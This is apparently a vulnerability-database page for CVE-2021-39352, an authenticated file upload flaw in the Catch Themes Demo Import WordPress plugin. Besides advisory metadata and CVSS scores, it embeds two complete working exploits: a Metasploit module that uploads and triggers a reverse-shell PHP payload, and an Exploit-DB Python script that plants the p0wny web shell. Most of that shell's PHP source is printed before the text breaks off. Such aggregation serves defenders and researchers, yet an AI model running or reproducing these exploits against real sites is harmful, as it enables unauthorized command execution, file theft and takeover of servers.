Description
The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to and including 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution.
Affected Software
Related
{"id": "CVE-2021-39352", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-39352", "description": "The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to and including 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution.", "published": "2021-10-21T20:15:00", "modified": "2022-02-28T14:59:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-39352", "reporter": "security@wordfence.com", "references": ["https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php", "https://github.com/BigTiger2020/word-press/blob/main/Catch%20Themes%20Demo%20Import.md", "https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352", "http://packetstormsecurity.com/files/165207/WordPress-Catch-Themes-Demo-Import-1.6.1-Shell-Upload.html", "http://packetstormsecurity.com/files/165463/WordPress-Catch-Themes-Demo-Import-Shell-Upload.html", "https://www.exploit-db.com/exploits/50580", "https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-39352"], "cvelist": ["CVE-2021-39352"], "immutableFields": [], "lastseen": "2022-03-23T19:03:21", "viewCount": 50, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50580"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/WP_CATCH_THEMES_DEMO_IMPORT/"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165207", "PACKETSTORM:165463"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:104BCB9FE21AA540C50BD81151F701D5"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:781F2FF4-CB94-40D7-96CB-90128DAED862"]}, {"type": "zdt", "idList": ["1337DAY-ID-37122"]}], "rev": 4}, "score": {"value": 8.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:50580"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165207", "PACKETSTORM:165463"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:104BCB9FE21AA540C50BD81151F701D5"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:781F2FF4-CB94-40D7-96CB-90128DAED862"]}, {"type": "zdt", "idList": ["1337DAY-ID-37122"]}]}, "exploitation": null, "vulnersScore": 8.2}, "_state": {"dependencies": 0, "score": 0}, "_internal": {}, "cna_cvss": {"cna": "Wordfence", "cvss": {"3": {"vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "score": 7.2}}}, "cpe": ["cpe:/a:catchplugins:catch_themes_demo_import:1.7"], "cpe23": ["cpe:2.3:a:catchplugins:catch_themes_demo_import:1.7:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-434"], "affectedSoftware": [{"cpeName": "catchplugins:catch_themes_demo_import", "version": "1.7", "operator": "le", "name": "catchplugins catch themes demo import"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:catchplugins:catch_themes_demo_import:1.7:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.7", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php", "name": "https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/BigTiger2020/word-press/blob/main/Catch%20Themes%20Demo%20Import.md", "name": "https://github.com/BigTiger2020/word-press/blob/main/Catch%20Themes%20Demo%20Import.md", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352", "name": "https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352", "refsource": "MISC", "tags": ["Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/165207/WordPress-Catch-Themes-Demo-Import-1.6.1-Shell-Upload.html", "name": "http://packetstormsecurity.com/files/165207/WordPress-Catch-Themes-Demo-Import-1.6.1-Shell-Upload.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "http://packetstormsecurity.com/files/165463/WordPress-Catch-Themes-Demo-Import-Shell-Upload.html", "name": "http://packetstormsecurity.com/files/165463/WordPress-Catch-Themes-Demo-Import-Shell-Upload.html", "refsource": "MISC", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.exploit-db.com/exploits/50580", "name": "https://www.exploit-db.com/exploits/50580", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-39352", "name": "https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-39352", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"patchstack": [{"lastseen": "2022-06-01T19:29:08", "description": "Arbitrary File Upload vulnerability discovered by Thinkland Security Team in WordPress Catch Themes Demo Import plugin (versions <= 1.7).\n\n## Solution\n\n\r\n Update the WordPress Catch Themes Demo Import plugin to the latest available version (at least 1.8).\r\n ", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-21T00:00:00", "type": "patchstack", "title": "WordPress Catch Themes Demo Import plugin <= 1.7 - Arbitrary File Upload vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2021-10-21T00:00:00", "id": "PATCHSTACK:6E79D7A928208CF18331501B2A61F370", "href": "https://patchstack.com/database/vulnerability/catch-themes-demo-import/wordpress-catch-themes-demo-import-plugin-1-7-arbitrary-file-upload-vulnerability", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-06-24T08:36:45", "description": "The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation. Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. During testing this timeout was roughly 5min.\n", "cvss3": {}, "published": "2021-12-22T01:04:09", "type": "metasploit", "title": "Wordpress Plugin Catch Themes Demo Import RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-39352"], "modified": "2022-01-04T20:43:04", "id": "MSF:EXPLOIT-MULTI-HTTP-WP_CATCH_THEMES_DEMO_IMPORT-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/wp_catch_themes_demo_import/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::HTTP::Wordpress\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',\n 'Description' => %q{\n The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated\n arbitrary file uploads via the import functionality found in the\n ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.\n Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.\n During testing this timeout was roughly 5min.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'h00die', # msf module\n 'Ron Jost', # edb\n 'Thinkland Security Team' # listed on wordfence's site\n ],\n 'References' => [\n [ 'EDB', '50580' ],\n [ 'CVE', '2021-39352' ],\n [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ],\n [ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ],\n [ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]\n ],\n 'Platform' => ['php'],\n 'Privileged' => false,\n 'Arch' => ARCH_PHP,\n 'Targets' => [\n [ 'Automatic Target', {}]\n ],\n # we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is.\n # 'Payload' =>\n # {\n # # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226\n # 'Space' => 367_001_600, # 350mb\n # }\n 'DisclosureDate' => '2021-10-21',\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n },\n 'Notes' => {\n 'Stability' => [ CRASH_SAFE ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n # https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770\n # re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.\n 'Reliability' => [ UNRELIABLE_SESSION ]\n }\n )\n )\n\n register_options [\n OptString.new('USERNAME', [true, 'Username of the account', 'admin']),\n OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),\n OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),\n ]\n end\n\n def check\n return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?\n\n checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')\n if checkcode == CheckCode::Safe\n print_error('catch-themes-demo-import not a vulnerable version')\n end\n checkcode\n end\n\n def exploit\n cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])\n\n if cookie.nil?\n vprint_error('Invalid login, check credentials')\n return\n end\n\n # grab the ajax_nonce\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'),\n 'method' => 'GET',\n 'cookie' => cookie,\n 'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.\n 'vars_get' => {\n 'page' => 'catch-themes-demo-import'\n }\n })\n fail_with(Failure::Unreachable, 'Site not responding') unless res\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200\n /\"ajax_nonce\":\"(?<ajax_nonce>[a-z0-9]{10})\"/ =~ res.body\n fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce\n vprint_status(\"Ajax Nonce: #{ajax_nonce}\")\n\n random_filename = \"#{rand_text_alphanumeric(6..12)}.php\"\n vprint_status(\"Uploading payload filename: #{random_filename}\")\n\n multipart_form = Rex::MIME::Message.new\n multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name=\"action\"')\n multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name=\"security\"')\n multipart_form.add_part('undefined', nil, nil, 'form-data; name=\"selected\"')\n multipart_form.add_part(\n payload.encoded,\n 'application/x-php',\n nil,\n \"form-data; name=\\\"content_file\\\"; filename=\\\"#{random_filename}\\\"\"\n )\n\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),\n 'method' => 'POST',\n 'cookie' => cookie,\n 'keep_cookies' => 'true',\n 'ctype' => \"multipart/form-data; boundary=#{multipart_form.bound}\",\n 'data' => multipart_form.to_s\n )\n fail_with(Failure::Unreachable, 'Site not responding') unless res\n fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')\n fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500\n # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This\n # is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)\n #\n # [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123\n # Stack trace:\n # #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\\\WPContentImporter2\\\\WXRImporter->get_reader()\n # #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\\\WPContentImporter2\\\\WXRImporter->import()\n # #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\\\Importer->import()\n # #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\\\Importer->import_content()\n # #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\\\CatchThemesDemoImport->import_demo_data_ajax_callback()\n # #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters()\n # #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123\n register_file_for_cleanup(random_filename)\n month = Date.today.month.to_s.rjust(2, '0')\n print_status(\"Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}\")\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename),\n 'method' => 'GET',\n 'keep_cookies' => 'true'\n )\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_catch_themes_demo_import.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "wpvulndb": [{"lastseen": "2022-01-17T19:27:02", "description": "The plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to and including 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-21T00:00:00", "type": "wpvulndb", "title": "Catch Themes Demo Import < 1.8 - Admin+ Arbitrary File Upload", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2021-12-13T18:56:10", "id": "WPVDB-ID:781F2FF4-CB94-40D7-96CB-90128DAED862", "href": "https://wpscan.com/vulnerability/781f2ff4-cb94-40d7-96cb-90128daed862", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-05-13T17:34:07", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-09T00:00:00", "type": "exploitdb", "title": "Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352"], "modified": "2021-12-09T00:00:00", "id": "EDB-ID:50580", "href": "https://www.exploit-db.com/exploits/50580", "sourceData": "# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)\r\n# Date 07.12.2021\r\n# Exploit Author: Ron Jost (Hacker5preme)\r\n# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/\r\n# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip\r\n# Version: <= 1.6.1\r\n# Tested on: Ubuntu 18.04\r\n# CVE: CVE-2021-39352\r\n# CWE: CWE-434\r\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md\r\n\r\n\r\n'''\r\nDescription:\r\nThe Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality\r\nfound in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,\r\ndue to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload\r\nmalicious files that can be used to achieve remote code execution.\r\n'''\r\n\r\n# Banner:\r\nbanner = \"\"\"\r\n ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ \r\n||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||\r\n||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||\r\n|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\r\n\r\n [+] Catch Themes Demo Import RCE (Authenticated) \r\n [@] Developed by Ron Jost (Hacker5preme)\r\n \r\n\"\"\"\r\nprint(banner)\r\n\r\n\r\nimport argparse\r\nimport requests\r\nfrom datetime import datetime\r\n\r\n# User-Input:\r\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)')\r\nmy_parser.add_argument('-T', '--IP', type=str)\r\nmy_parser.add_argument('-P', '--PORT', type=str)\r\nmy_parser.add_argument('-U', '--PATH', type=str)\r\nmy_parser.add_argument('-u', '--USERNAME', type=str)\r\nmy_parser.add_argument('-p', '--PASSWORD', type=str)\r\nargs = my_parser.parse_args()\r\ntarget_ip = args.IP\r\ntarget_port = args.PORT\r\nwp_path = args.PATH\r\nusername = args.USERNAME\r\npassword = args.PASSWORD\r\nprint('')\r\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\r\nprint('')\r\n\r\n# Authentication:\r\nsession = requests.Session()\r\nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'\r\ncheck = session.get(auth_url)\r\n# Header:\r\nheader = {\r\n 'Host': target_ip,\r\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\r\n 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\r\n 'Accept-Encoding': 'gzip, deflate',\r\n 'Content-Type': 'application/x-www-form-urlencoded',\r\n 'Origin': 'http://' + target_ip,\r\n 'Connection': 'close',\r\n 'Upgrade-Insecure-Requests': '1'\r\n}\r\n\r\n# Body:\r\nbody = {\r\n 'log': username,\r\n 'pwd': password,\r\n 'wp-submit': 'Log In',\r\n 'testcookie': '1'\r\n}\r\nauth = session.post(auth_url, headers=header, data=body)\r\n\r\n# Get Security nonce value:\r\ncheck = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text\r\nnonce = check[check.find('ajax_nonce\"') + 13:]\r\nwp_nonce = nonce[:nonce.find('\"')]\r\nprint(wp_nonce)\r\n\r\n# Exploit:\r\nexploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'\r\n\r\n# Header (Exploit):\r\nheader = {\r\n \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0\",\r\n \"Accept\": \"*/*\",\r\n \"Accept-Language\": \"de,en-US;q=0.7,en;q=0.3\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n 'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',\r\n \"X-Requested-With\": \"XMLHttpRequest\",\r\n \"Content-Type\": \"multipart/form-data; boundary=---------------------------121585879226594965303252407916\",\r\n \"Origin\": \"http://\" + target_ip,\r\n \"Connection\": \"close\"\r\n}\r\n\r\n# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):\r\nshell_payload = \"-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"action\\\"\\r\\n\\r\\nctdi_import_demo_data\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"security\\\"\\r\\n\\r\\n\" + wp_nonce + \"\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"selected\\\"\\r\\n\\r\\nundefined\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"content_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>p0wny@shell:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: 